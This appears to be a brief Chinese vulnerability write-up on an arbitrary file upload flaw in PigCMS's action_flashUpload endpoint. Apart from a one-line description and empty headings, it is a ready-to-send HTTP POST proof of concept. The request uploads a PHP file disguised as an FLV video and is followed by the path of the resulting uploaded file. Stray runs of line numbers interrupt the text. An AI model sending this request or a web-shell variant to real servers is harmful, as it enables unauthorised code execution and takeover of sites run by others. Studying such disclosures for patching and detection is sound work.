# PigCMS action_flashUpload 任意文件上传漏洞
# 漏洞描述
PigCMS action_flashUpload 方法中存在任意文件上传漏洞，攻击者通过漏洞可以上传任意文件获取到服务器权限
# 漏洞影响
# 网络测绘
# 漏洞复现
登陆页面
验证POC
POST /cms/manage/admin.php?m=manage&c=background&a=action_flashUpload HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----aaa
------aaa
Content-Disposition: form-data; name="filePath"; filename="test.php"
Content-Type: video/x-flv
<?php phpinfo();?>
------aaa
1
2
3
4
5
6
7
8
9
10
11
2
3
4
5
6
7
8
9
10
11
/cms/upload/images/2023/08/11/1691722887xXbx.php
1